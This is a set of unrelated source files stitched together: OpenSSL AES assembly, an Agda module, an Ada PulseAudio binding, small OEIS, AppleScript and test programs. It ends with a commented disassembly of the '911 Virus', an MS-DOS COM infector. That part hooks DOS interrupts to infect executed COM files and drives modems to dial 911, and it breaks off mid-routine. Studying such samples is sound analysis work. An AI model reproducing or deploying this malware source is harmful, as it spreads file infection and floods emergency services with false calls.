mov DWORD [40+esp],ecx
jnz NEAR L$037slow_dec_loop_sse
emms
mov esp,DWORD [28+esp]
popfd
pop edi
pop esi
pop ebx
pop ebp
ret
pushfd
align 16
L$038slow_dec_partial_sse:
movq [eax],mm0
movq [8+eax],mm4
emms
add ecx,16
mov edi,ebx
mov esi,eax
align 4
dd 2767451785
mov esp,DWORD [28+esp]
popfd
pop edi
pop esi
pop ebx
pop ebp
ret
pushfd
align 16
L$036slow_dec_loop_x86:
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
lea edi,[60+esp]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov edi,DWORD [44+esp]
call __x86_AES_decrypt_compact
mov edi,DWORD [48+esp]
mov esi,DWORD [40+esp]
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
sub esi,16
jc NEAR L$039slow_dec_partial_x86
mov DWORD [40+esp],esi
mov esi,DWORD [36+esp]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
lea esi,[16+esi]
mov DWORD [36+esp],esi
lea esi,[60+esp]
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov esi,DWORD [32+esp]
lea esi,[16+esi]
mov DWORD [32+esp],esi
jnz NEAR L$036slow_dec_loop_x86
mov esp,DWORD [28+esp]
popfd
pop edi
pop esi
pop ebx
pop ebp
ret
pushfd
align 16
L$039slow_dec_partial_x86:
lea esi,[60+esp]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
mov esi,DWORD [32+esp]
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov ecx,DWORD [40+esp]
mov edi,DWORD [36+esp]
lea esi,[60+esp]
align 4
dd 2767451785
mov esp,DWORD [28+esp]
popfd
pop edi
pop esi
pop ebx
pop ebp
ret
align 16
__x86_AES_set_encrypt_key:
push ebp
push ebx
push esi
push edi
mov esi,DWORD [24+esp]
mov edi,DWORD [32+esp]
test esi,-1
jz NEAR L$040badpointer
test edi,-1
jz NEAR L$040badpointer
call L$041pic_point
L$041pic_point:
pop ebp
lea ebp,[(L$AES_Te-L$041pic_point)+ebp]
lea ebp,[2176+ebp]
mov eax,DWORD [ebp-128]
mov ebx,DWORD [ebp-96]
mov ecx,DWORD [ebp-64]
mov edx,DWORD [ebp-32]
mov eax,DWORD [ebp]
mov ebx,DWORD [32+ebp]
mov ecx,DWORD [64+ebp]
mov edx,DWORD [96+ebp]
mov ecx,DWORD [28+esp]
cmp ecx,128
je NEAR L$04210rounds
cmp ecx,192
je NEAR L$04312rounds
cmp ecx,256
je NEAR L$04414rounds
mov eax,-2
jmp NEAR L$045exit
L$04210rounds:
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
xor ecx,ecx
jmp NEAR L$04610shortcut
align 4
L$04710loop:
mov eax,DWORD [edi]
mov edx,DWORD [12+edi]
L$04610shortcut:
movzx esi,dl
movzx ebx,BYTE [esi*1+ebp-128]
movzx esi,dh
shl ebx,24
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
shr edx,16
movzx esi,dl
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
movzx esi,dh
shl ebx,8
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
shl ebx,16
xor eax,ebx
xor eax,DWORD [896+ecx*4+ebp]
mov DWORD [16+edi],eax
xor eax,DWORD [4+edi]
mov DWORD [20+edi],eax
xor eax,DWORD [8+edi]
mov DWORD [24+edi],eax
xor eax,DWORD [12+edi]
mov DWORD [28+edi],eax
inc ecx
add edi,16
cmp ecx,10
jl NEAR L$04710loop
mov DWORD [80+edi],10
xor eax,eax
jmp NEAR L$045exit
L$04312rounds:
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov ecx,DWORD [16+esi]
mov edx,DWORD [20+esi]
mov DWORD [16+edi],ecx
mov DWORD [20+edi],edx
xor ecx,ecx
jmp NEAR L$04812shortcut
align 4
L$04912loop:
mov eax,DWORD [edi]
mov edx,DWORD [20+edi]
L$04812shortcut:
movzx esi,dl
movzx ebx,BYTE [esi*1+ebp-128]
movzx esi,dh
shl ebx,24
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
shr edx,16
movzx esi,dl
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
movzx esi,dh
shl ebx,8
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
shl ebx,16
xor eax,ebx
xor eax,DWORD [896+ecx*4+ebp]
mov DWORD [24+edi],eax
xor eax,DWORD [4+edi]
mov DWORD [28+edi],eax
xor eax,DWORD [8+edi]
mov DWORD [32+edi],eax
xor eax,DWORD [12+edi]
mov DWORD [36+edi],eax
cmp ecx,7
je NEAR L$05012break
inc ecx
xor eax,DWORD [16+edi]
mov DWORD [40+edi],eax
xor eax,DWORD [20+edi]
mov DWORD [44+edi],eax
add edi,24
jmp NEAR L$04912loop
L$05012break:
mov DWORD [72+edi],12
xor eax,eax
jmp NEAR L$045exit
L$04414rounds:
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [8+edi],ecx
mov DWORD [12+edi],edx
mov eax,DWORD [16+esi]
mov ebx,DWORD [20+esi]
mov ecx,DWORD [24+esi]
mov edx,DWORD [28+esi]
mov DWORD [16+edi],eax
mov DWORD [20+edi],ebx
mov DWORD [24+edi],ecx
mov DWORD [28+edi],edx
xor ecx,ecx
jmp NEAR L$05114shortcut
align 4
L$05214loop:
mov edx,DWORD [28+edi]
L$05114shortcut:
mov eax,DWORD [edi]
movzx esi,dl
movzx ebx,BYTE [esi*1+ebp-128]
movzx esi,dh
shl ebx,24
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
shr edx,16
movzx esi,dl
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
movzx esi,dh
shl ebx,8
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
shl ebx,16
xor eax,ebx
xor eax,DWORD [896+ecx*4+ebp]
mov DWORD [32+edi],eax
xor eax,DWORD [4+edi]
mov DWORD [36+edi],eax
xor eax,DWORD [8+edi]
mov DWORD [40+edi],eax
xor eax,DWORD [12+edi]
mov DWORD [44+edi],eax
cmp ecx,6
je NEAR L$05314break
inc ecx
mov edx,eax
mov eax,DWORD [16+edi]
movzx esi,dl
movzx ebx,BYTE [esi*1+ebp-128]
movzx esi,dh
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
shr edx,16
shl ebx,8
movzx esi,dl
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
movzx esi,dh
shl ebx,16
xor eax,ebx
movzx ebx,BYTE [esi*1+ebp-128]
shl ebx,24
xor eax,ebx
mov DWORD [48+edi],eax
xor eax,DWORD [20+edi]
mov DWORD [52+edi],eax
xor eax,DWORD [24+edi]
mov DWORD [56+edi],eax
xor eax,DWORD [28+edi]
mov DWORD [60+edi],eax
add edi,32
jmp NEAR L$05214loop
L$05314break:
mov DWORD [48+edi],14
xor eax,eax
jmp NEAR L$045exit
L$040badpointer:
mov eax,-1
L$045exit:
pop edi
pop esi
pop ebx
pop ebp
ret
global _AES_set_encrypt_key
align 16
_AES_set_encrypt_key:
L$_AES_set_encrypt_key_begin:
call __x86_AES_set_encrypt_key
ret
global _AES_set_decrypt_key
align 16
_AES_set_decrypt_key:
L$_AES_set_decrypt_key_begin:
call __x86_AES_set_encrypt_key
cmp eax,0
je NEAR L$054proceed
ret
L$054proceed:
push ebp
push ebx
push esi
push edi
mov esi,DWORD [28+esp]
mov ecx,DWORD [240+esi]
lea ecx,[ecx*4]
lea edi,[ecx*4+esi]
align 4
L$055invert:
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [edi]
mov edx,DWORD [4+edi]
mov DWORD [edi],eax
mov DWORD [4+edi],ebx
mov DWORD [esi],ecx
mov DWORD [4+esi],edx
mov eax,DWORD [8+esi]
mov ebx,DWORD [12+esi]
mov ecx,DWORD [8+edi]
mov edx,DWORD [12+edi]
mov DWORD [8+edi],eax
mov DWORD [12+edi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
add esi,16
sub edi,16
cmp esi,edi
jne NEAR L$055invert
mov edi,DWORD [28+esp]
mov esi,DWORD [240+edi]
lea esi,[esi*1+esi-2]
lea esi,[esi*8+edi]
mov DWORD [28+esp],esi
mov eax,DWORD [16+edi]
align 4
L$056permute:
add edi,16
mov ebp,2155905152
and ebp,eax
lea ebx,[eax*1+eax]
mov esi,ebp
shr ebp,7
sub esi,ebp
and ebx,4278124286
and esi,454761243
xor ebx,esi
mov ebp,2155905152
and ebp,ebx
lea ecx,[ebx*1+ebx]
mov esi,ebp
shr ebp,7
sub esi,ebp
and ecx,4278124286
and esi,454761243
xor ebx,eax
xor ecx,esi
mov ebp,2155905152
and ebp,ecx
lea edx,[ecx*1+ecx]
mov esi,ebp
shr ebp,7
xor ecx,eax
sub esi,ebp
and edx,4278124286
and esi,454761243
rol eax,8
xor edx,esi
mov ebp,DWORD [4+edi]
xor eax,ebx
xor ebx,edx
xor eax,ecx
rol ebx,24
xor ecx,edx
xor eax,edx
rol ecx,16
xor eax,ebx
rol edx,8
xor eax,ecx
mov ebx,ebp
xor eax,edx
mov DWORD [edi],eax
mov ebp,2155905152
and ebp,ebx
lea ecx,[ebx*1+ebx]
mov esi,ebp
shr ebp,7
sub esi,ebp
and ecx,4278124286
and esi,454761243
xor ecx,esi
mov ebp,2155905152
and ebp,ecx
lea edx,[ecx*1+ecx]
mov esi,ebp
shr ebp,7
sub esi,ebp
and edx,4278124286
and esi,454761243
xor ecx,ebx
xor edx,esi
mov ebp,2155905152
and ebp,edx
lea eax,[edx*1+edx]
mov esi,ebp
shr ebp,7
xor edx,ebx
sub esi,ebp
and eax,4278124286
and esi,454761243
rol ebx,8
xor eax,esi
mov ebp,DWORD [8+edi]
xor ebx,ecx
xor ecx,eax
xor ebx,edx
rol ecx,24
xor edx,eax
xor ebx,eax
rol edx,16
xor ebx,ecx
rol eax,8
xor ebx,edx
mov ecx,ebp
xor ebx,eax
mov DWORD [4+edi],ebx
mov ebp,2155905152
and ebp,ecx
lea edx,[ecx*1+ecx]
mov esi,ebp
shr ebp,7
sub esi,ebp
and edx,4278124286
and esi,454761243
xor edx,esi
mov ebp,2155905152
and ebp,edx
lea eax,[edx*1+edx]
mov esi,ebp
shr ebp,7
sub esi,ebp
and eax,4278124286
and esi,454761243
xor edx,ecx
xor eax,esi
mov ebp,2155905152
and ebp,eax
lea ebx,[eax*1+eax]
mov esi,ebp
shr ebp,7
xor eax,ecx
sub esi,ebp
and ebx,4278124286
and esi,454761243
rol ecx,8
xor ebx,esi
mov ebp,DWORD [12+edi]
xor ecx,edx
xor edx,ebx
xor ecx,eax
rol edx,24
xor eax,ebx
xor ecx,ebx
rol eax,16
xor ecx,edx
rol ebx,8
xor ecx,eax
mov edx,ebp
xor ecx,ebx
mov DWORD [8+edi],ecx
mov ebp,2155905152
and ebp,edx
lea eax,[edx*1+edx]
mov esi,ebp
shr ebp,7
sub esi,ebp
and eax,4278124286
and esi,454761243
xor eax,esi
mov ebp,2155905152
and ebp,eax
lea ebx,[eax*1+eax]
mov esi,ebp
shr ebp,7
sub esi,ebp
and ebx,4278124286
and esi,454761243
xor eax,edx
xor ebx,esi
mov ebp,2155905152
and ebp,ebx
lea ecx,[ebx*1+ebx]
mov esi,ebp
shr ebp,7
xor ebx,edx
sub esi,ebp
and ecx,4278124286
and esi,454761243
rol edx,8
xor ecx,esi
mov ebp,DWORD [16+edi]
xor edx,eax
xor eax,ecx
xor edx,ebx
rol eax,24
xor ebx,ecx
xor edx,ecx
rol ebx,16
xor edx,eax
rol ecx,8
xor edx,ebx
mov eax,ebp
xor edx,ecx
mov DWORD [12+edi],edx
cmp edi,DWORD [28+esp]
jb NEAR L$056permute
xor eax,eax
pop edi
pop esi
pop ebx
pop ebp
ret
db 65,69,83,32,102,111,114,32,120,56,54,44,32,67,82,89
db 80,84,79,71,65,77,83,32,98,121,32,60,97,112,112,114
db 111,64,111,112,101,110,115,115,108,46,111,114,103,62,0
segment .bss
common _OPENSSL_ia32cap_P 16
|
src/Categories/Category/Inverse.agda | bblfish/agda-categories | 0 | 7118 | <reponame>bblfish/agda-categories
{-# OPTIONS --without-K --safe #-}
module Categories.Category.Inverse where
open import Level using (Level; suc; _⊔_)
open import Categories.Category
import Categories.Morphism
record Inverse {o ℓ e} (C : Category o ℓ e) : Set (o ⊔ ℓ ⊔ e) where
open Category C public
open Definitions C public
open Categories.Morphism C
infix 10 _⁻¹
field
_⁻¹ : ∀ {A B} → A ⇒ B → B ⇒ A
pseudo-iso₁ : ∀ {A B} {f : A ⇒ B} → f ∘ f ⁻¹ ∘ f ≈ f
pseudo-iso₂ : ∀ {A B} {f : A ⇒ B} → f ⁻¹ ∘ f ∘ f ⁻¹ ≈ f ⁻¹
|
src/ada-pulse/src/pulse-mainloop.ads | mstewartgallus/linted | 0 | 7752 | <reponame>mstewartgallus/linted
-- Copyright 2016 <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-- implied. See the License for the specific language governing
-- permissions and limitations under the License.
with System;
with Interfaces.C; use Interfaces.C;
limited with Pulse.Mainloop.API;
package Pulse.Mainloop with
Spark_Mode => Off is
-- skipped empty struct pollfd
type pa_mainloop is limited private;
type pa_mainloop_access is access all pa_mainloop;
function pa_mainloop_new
return pa_mainloop_access; -- /usr/include/pulse/mainloop.h:83
pragma Import (C, pa_mainloop_new, "pa_mainloop_new");
procedure pa_mainloop_free
(m : pa_mainloop_access); -- /usr/include/pulse/mainloop.h:86
pragma Import (C, pa_mainloop_free, "pa_mainloop_free");
function pa_mainloop_prepare
(m : pa_mainloop_access;
timeout : int) return int; -- /usr/include/pulse/mainloop.h:91
pragma Import (C, pa_mainloop_prepare, "pa_mainloop_prepare");
function pa_mainloop_poll
(m : pa_mainloop_access) return int; -- /usr/include/pulse/mainloop.h:94
pragma Import (C, pa_mainloop_poll, "pa_mainloop_poll");
function pa_mainloop_dispatch
(m : pa_mainloop_access) return int; -- /usr/include/pulse/mainloop.h:98
pragma Import (C, pa_mainloop_dispatch, "pa_mainloop_dispatch");
function pa_mainloop_get_retval
(m : pa_mainloop_access) return int; -- /usr/include/pulse/mainloop.h:101
pragma Import (C, pa_mainloop_get_retval, "pa_mainloop_get_retval");
function pa_mainloop_iterate
(m : pa_mainloop_access;
block : int;
retval : access int) return int; -- /usr/include/pulse/mainloop.h:109
pragma Import (C, pa_mainloop_iterate, "pa_mainloop_iterate");
function pa_mainloop_run
(m : pa_mainloop_access;
retval : out int) return int; -- /usr/include/pulse/mainloop.h:112
pragma Import (C, pa_mainloop_run, "pa_mainloop_run");
function pa_mainloop_get_api
(m : pa_mainloop_access)
return access Pulse.Mainloop.API
.pa_mainloop_api; -- /usr/include/pulse/mainloop.h:117
pragma Import (C, pa_mainloop_get_api, "pa_mainloop_get_api");
procedure pa_mainloop_quit
(m : pa_mainloop_access;
r : int); -- /usr/include/pulse/mainloop.h:120
pragma Import (C, pa_mainloop_quit, "pa_mainloop_quit");
procedure pa_mainloop_wakeup
(m : pa_mainloop_access); -- /usr/include/pulse/mainloop.h:123
pragma Import (C, pa_mainloop_wakeup, "pa_mainloop_wakeup");
type pa_poll_func is access function
(arg1 : System.Address;
arg2 : unsigned_long;
arg3 : int;
arg4 : System.Address) return int;
pragma Convention (C, pa_poll_func); -- /usr/include/pulse/mainloop.h:126
procedure pa_mainloop_set_poll_func
(m : pa_mainloop_access;
poll_func : pa_poll_func;
userdata : System.Address); -- /usr/include/pulse/mainloop.h:129
pragma Import (C, pa_mainloop_set_poll_func, "pa_mainloop_set_poll_func");
private
type pa_mainloop is limited record
null;
end record;
end Pulse.Mainloop;
|
programs/oeis/123/A123350.asm | neoneye/loda | 22 | 103315 | <reponame>neoneye/loda
; A123350: a(n) = (n^4 + 2n^3 + 5n^2 + 4)/4.
; 1,3,14,46,117,251,478,834,1361,2107,3126,4478,6229,8451,11222,14626,18753,23699,29566,36462,44501,53803,64494,76706,90577,106251,123878,143614,165621,190067,217126,246978,279809,315811,355182,398126,444853,495579,550526,609922,674001,743003,817174,896766,982037,1073251,1170678,1274594,1385281,1503027,1628126,1760878,1901589,2050571,2208142,2374626,2550353,2735659,2930886,3136382,3352501,3579603,3818054,4068226,4330497,4605251,4892878,5193774,5508341,5836987,6180126,6538178,6911569,7300731,7706102,8128126,8567253,9023939,9498646,9991842,10504001,11035603,11587134,12159086,12751957,13366251,14002478,14661154,15342801,16047947,16777126,17530878,18309749,19114291,19945062,20802626,21687553,22600419,23541806,24512302
mov $1,$0
add $0,1
bin $0,2
pow $0,2
pow $1,2
add $1,$0
mov $0,$1
add $0,1
|
scripts/reminders/count-list.applescript | briangonzalez/awesome-applescripts | 39 | 1277 | <gh_stars>10-100
on run argv
if (count of argv) > 0 then
set reminder_list to item 1 of argv
else
error "Please provide a list name as the first argument to this script"
end if
tell application "Reminders"
set the_list to list reminder_list
set the_reminders to (reminders in the_list whose completed is false)
set list_size to count of the_reminders
return list_size
end tell
end run
|
sw/552tests/inst_tests/unaligned/jalr_25.asm | JPShen-UWM/ThreadKraken | 1 | 245568 | // Original test: ./rbatterm/hw4/problem6/jalr_4.asm
// Author: rbatterm
// Test source code follows
// Test random cases (from random.org)
lbi r1, 236 //11101100
jalr r1, 203 //11001011
halt
|
MSDOS/Virus.MSDOS.Unknown.armag911.asm | fengjixuchui/Family | 3 | 242153 | <reponame>fengjixuchui/Family<gh_stars>1-10
;***************************************************************************
;* *
;* The 911 Virus *
;* (An "Armagedon the Greek" Variant) *
;* Caution! This Virus Will Dial 911 On Computers Equipped With A Modem! *
;*Dial is controlled off of the new INT 08 handler when virus goes TSR. *
;*Examine the way the virus goes memory resident using INT 27, this is an *
;*interesting method that I had not seen before in a virus. Also, look *
;*at its rather strange procedure for infecting files. *
;* *
;* Disassembly by <NAME> *
;* *
;***************************************************************************
.model tiny ;Sets assembler into Tiny mode
.radix 16 ;Sets numbers to hexidecimal
.code
org 100
;**************************************************************************
;* Loading Jump *
;**************************************************************************
start:
jmp Virus_Entry
;**************************************************************************
;**************************************************************************
;* This is where the infected file would usually be. *
;**************************************************************************
;**************************************************************************
;**************************************************************************
;* Int 21 Handler *
;**************************************************************************
Int_21:
pushf
cmp ah,0E0 ;Is this an installation check?
jne not_check ;If not, go to not_check
mov ax,0DADA ;If so, return 0DADA
popf ;and exit interrupt.
iret
not_check:
cmp ah,0E1 ;0E1=request for virus' seg. address
jne not_seg_req ;Not E1? then go to not_seg_req
mov ax,cs ;Move virus' address into AX
popf ;and exit interrupt.
iret
not_seg_req:
cmp ax,4B00 ;Load and Execute?
je Infect ;Go Infect
Go_Int_21:
popf
; jmp dword ptr cs:[Int_21_Off]
db 2e,0ff,2e,22,01 ;Jump to Int 21 (done)
;**************************************************************************
;****************************************************************************
;* Main Data Section *
;****************************************************************************
Int_21_Off dw 138dh
Int_21_Seg dw 029a
Int_08_Off dw 022Bh
Int_08_Seg dw 70
Ready_Byte db 0
Timing_Counter db 8
save_time_a db 10
save_time_b db 9
save_date db 34
Bytes_Written dw 0
waste_byte db 0
Character_Count db 0
Data_Ready db 0
Ports_Initialized db 0
com db 'COM'
handle dw 5
file_size dw 2
db 0, 0
mem_allocated dw 1301
save_ss dw 12AC
save_sp dw 0FFFE
filename_seg dw 9B70
filename_off dw 3D5Bh
attribs dw 20
file_date dw 0EC2
file_time dw 6E68
db 0,0,81,0
cs_save_3 dw 12AC
db 5C,0
cs_save_1 dw 12AC
db 6C,0
cs_save_2 dw 12AC
;****************************************************************************
Infect:
push ds bx si cx ax dx bp es di ;Save Registers
cld ;Clear direction
push dx ds ;Save Filename Address
xor cx,cx ;Zero CX for use as counter
mov si,dx ;Move Filename Offset to SI
Find_End_Of_Filename:
mov al,[si] ;Get letter from Filename
cmp al,0 ;Are we at the end of the
je Check_Filename ;Filename? Yes? Go to loc_7
inc cx ;inc Count
inc si ;inc pointer to next char
jmp short Find_End_Of_Filename
Check_Filename:
add dx,cx ;add filename length to
;start of filename address
sub dx,3 ;Subtract 3 for extension
mov si,offset com ;com='COM'
mov di,dx ;set di=dx to Check
;Next few lines Check for
;Command.Com
cmp byte ptr [di-3],4E ;Is the second to last letter
;an 'N'?
jne setup_check ;If not, it's not COMMAND,
;Go to loc_8
cmp byte ptr [di-2],44 ;Is the last letter a 'D'?
je Infect_Error ;If so, it is COMMAND,
;Go to Infect_Error.
setup_check:
mov cx,3 ;Setup loop
check_if_com:
mov al,cs:[si]
cmp al,[di]
jne Infect_Error
inc si ;Check for 'COM' Extension
inc di ;If so, infect, otherwise
loop check_if_com ;Go to Infect_Error
pop ds
pop dx ;Restore original filename
push dx ;address to DS:DX, then
push ds ;push them back onto stack
mov si,dx
mov dl,0
cmp byte ptr [si+1],3A ;Is the second letter a
; ':'? I.E. is the file on
;another drive?
jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space
mov dl,[si] ;Get drive number if the file
and dl,0F ;is on another drive.
Get_Free_Disk_Space:
mov ah,36
int 21h ;Get free drive space.
;DL=drive
cmp ax,0FFFF
je Infect_Error
jmp short Continue_Infect
nop
Infect_Error:
jmp Pop_And_Quit_Infect
jmp End_Infect
Error_After_Open:
jmp Close_File
jmp Reset_DTA
Continue_Infect:
cmp bx,3 ;If there are less than 3
jb Infect_Error ;clusters free, quit.
pop ds ;DS:DX is filename address
pop dx ;again.
push ds
push dx
mov word ptr cs:[filename_seg],ds ;Save DS:DX again
mov word ptr cs:[filename_off],dx
mov ax,4300
int 21 ;Get the file attributes
mov word ptr cs:[attribs],cx ;Store attributes
mov ax,4301
xor cx,cx ;Set attributes to zero
int 21 ;to insure write access.
mov bx,0FFFF
mov ah,48 ;Allocate all free memory
int 21 ;by trying to allocate more
;than the computer possibly can,
mov ah,48 ;then using the returned number
int 21 ;(free mem) as the amount to
;request.
mov word ptr cs:[mem_allocated],ax ;save the segment of
;allocated memory
mov ax,cs ;point ds to cs
mov ds,ax
mov dx,offset new_DTA
mov ah,1A
int 21 ;Set DTA to memory after virus
pop dx
pop ds
mov ax,3D02
clc ;clear carry (unneccessary)
int 21 ;Open file for read/write access
jc Error_After_Open ;on error go to
;Error_After_Open
mov bx,ax ;move handle to bx
mov word ptr cs:[handle],ax ;save file handle
mov cx,0FFFF
mov ax,word ptr cs:[mem_allocated] ;Get segment of
;memory to use
mov ds,ax ;point ds to it
mov dx,end_main_virus-start
mov ah,3F
clc ;clear carry
int 21 ;Read 0ffff byte from file
jc Error_After_Open ;If error go to
;Error_After_Open
mov word ptr cs:[file_size],ax ;save file size
;(number of bytes read)
cmp ax,0E000
ja Error_After_Open ;File is too large, go to
;Error_After_Open
cmp ax,end_main_virus-start ;Is file smaller than virus?
jb Not_Infected ;Yes, therefore it isn't
;infected, goto Not_Infected
mov si,offset (end_main_virus+1-100)
add si,si ;Set SI to point to area where
sub si,15 ;the text message would be if
;file is already infected.
mov cx,13 ;Length of Text_Message
mov di,offset Text_Message ;("Support Your Police")
Check_For_Infection:
mov al,byte ptr [si] ;This loop checks for the text
mov ah,cs:byte ptr [di] ;message in the file being
cmp ah,al ;examined. If it's there, it
jne Not_Infected ;jumps to Close_File,
inc si ;otherwise it jumps to Not_Infected
inc di
loop Check_For_Infection
jmp short Close_File
nop
Not_Infected:
mov ax,4200
mov bx,word ptr cs:[handle]
xor cx,cx
mov dx,cx
int 21 ;Move to beginning of file
jc Close_File
mov si,100
mov cx,offset (end_main_virus-100)
xor di,di
mov ax,word ptr cs:[mem_allocated]
mov ds,ax
Copy_Virus:
mov al,cs:[si] ;Copy virus onto file in
mov [di],al ;memory. "repnz movsw"
inc si ;would've worked a lot
inc di ;better.
loop Copy_Virus
mov ax,5700
mov bx,word ptr cs:[handle]
int 21 ;Get File Date/Time
mov word ptr cs:[file_time],cx ;Save File Time
mov word ptr cs:[file_date],dx ;Save File Date
mov ax,word ptr cs:[mem_allocated]
mov ds,ax
mov si,offset (end_main_virus-100)
mov al,[si] ;encrypt first storage
add al,0Bh ;byte.
mov [si],al
xor dx,dx
mov cx,word ptr cs:[file_size] ;Calculate new file size
add cx,offset end_main_virus-100 ;(add virus size)
mov bx,word ptr cs:[handle]
mov ah,40
int 21 ;Rewrite file
mov word ptr cx,cs:[file_time]
mov word ptr dx,cs:[file_date]
mov bx,word ptr cs:[handle]
mov ax,5701
int 21 ;Restore File Time
Close_File:
mov bx,word ptr cs:[handle]
mov ah,3E
int 21 ;Close File
push cs
pop ds
Reset_DTA:
mov dx,80
mov ah,1A
int 21 ;Reset DTA to default
mov ax,word ptr cs:[mem_allocated]
mov es,ax
mov ah,49
int 21 ;Release Allocated Memory
mov ax,word ptr cs:[filename_seg]
mov ds,ax
mov dx,word ptr cs:[filename_off]
mov ax,4301
mov cx,word ptr cs:[attribs]
int 21 ;Restore File Date/Time
jmp short End_Infect
nop
Pop_And_Quit_Infect:
pop ds
pop dx
jmp short End_Infect
nop
End_Infect:
pop di es bp dx ax cx si bx ds
jmp Go_Int_21
;************************************************************************
;* Timer Click (INT 8) Handler *
;* This is Used to Dial Numbers *
;************************************************************************
Int_08:
push bp ds es ax bx cx dx si di
pushf ;Push flags
;call word ptr cs:[Int_08_Off] ;Run old timer click
db 2e,0ff,1e,26,01
call Timing_Routine
push cs
pop ds
mov ah,5
mov ch,byte ptr [save_time_a]
cmp ah,ch
ja Quit_Int_08
;if [save_time_a] !=6, quit.
mov ah,6
cmp ah,ch
jb Quit_Int_08
mov ah,byte ptr [Ready_Byte]
cmp ah,1
je Go_Dial
mov ah,1
mov byte ptr [Ready_Byte],ah
jmp short Quit_Int_08
nop
Go_Dial:
call Write_Ports
inc word ptr [Bytes_Written]
mov ax,word ptr [Bytes_Written]
cmp ax,21C
jne Quit_Int_08
xor ax,ax ;Reset Counters
mov byte ptr [Ready_Byte],ah
mov word ptr [Bytes_Written],ax
mov byte ptr [Data_Ready],ah
Quit_Int_08:
pop di si dx cx bx ax es ds bp
iret
;****************************************************************************
;* Timing Routine For Dialing *
;****************************************************************************
Timing_Routine:
push cs
pop ds
xor al,al
mov ah,byte ptr [Timing_Counter]
cmp ah,11
jne Inc_Time_Count
mov ah,byte ptr [save_date]
cmp ah,3bh
jne Inc_Saved_Date
mov ah,byte ptr [save_time_b]
cmp ah,3bh
jne Inc_S_T_B
mov ah,byte ptr [save_time_a]
cmp ah,17
jne Inc_S_T_A
mov byte ptr [save_time_a],al
Save_T_B:
mov byte ptr [save_time_b],al
Store_Save_Date:
mov byte ptr [save_date],al
Time_Count:
mov byte ptr [Timing_Counter],al
ret
Inc_Time_Count:
inc byte ptr [Timing_Counter]
ret
Inc_Saved_Date:
inc byte ptr [save_date]
jmp short Time_Count
Inc_S_T_B:
inc byte ptr [save_time_b]
jmp short Store_Save_Date
Inc_S_T_A:
inc byte ptr [save_time_a]
jmp short Save_T_B
dial_string db '+++aTh0m0s7=35dp911,,,,,,,' ;Dial string To call
;911 and wait
;****************************************************************************
;* Write Data to Com Ports *
;****************************************************************************
Write_Ports:
mov al,byte ptr [Data_Ready]
cmp al,1
je Ret_Write_Ports ; Jump if equal
mov al,byte ptr [Ports_Initialized] ;Have Ports been
cmp al,1 ;Initialized yet?
je Already_Initialized
mov cx,3
Init_Ports:
mov dx,cx
xor ah,ah
mov al,83 ;Init Comport
int 14 ;1200 Baud, No Parity,
;1 Stop Bit, 8 bit Word Len.
loop Init_Ports ;Initalize all Ports 1-4
mov al,1
mov byte ptr [Ports_Initialized],al
jmp short Ret_Write_Ports
nop
Already_Initialized:
push cs
pop ds
mov si,offset dial_string
mov al,byte ptr [Character_Count]
cmp al,1A
jne Write_From_SI_To_Ports
jmp short Setup_write
nop
Write_From_SI_To_Ports:
xor ah,ah
add si,ax
mov al,[si]
mov dx,3F8 ;Outport from SI to standard
out dx,al ;addresses of ports 1-4
mov dx,2F8 ;and increment character count
out dx,al
mov dx,2E8
out dx,al
mov dx,3E8
out dx,al
inc byte ptr [Character_Count]
jmp short Ret_Write_Ports
nop
Setup_write:
mov cx,3
Write_To_All_Ports:
mov dx,cx
mov al,0dh
mov ah,1
int 14 ;Write a 1 to all ports
loop Write_To_All_Ports
mov ax,1
mov byte ptr [Data_Ready],al
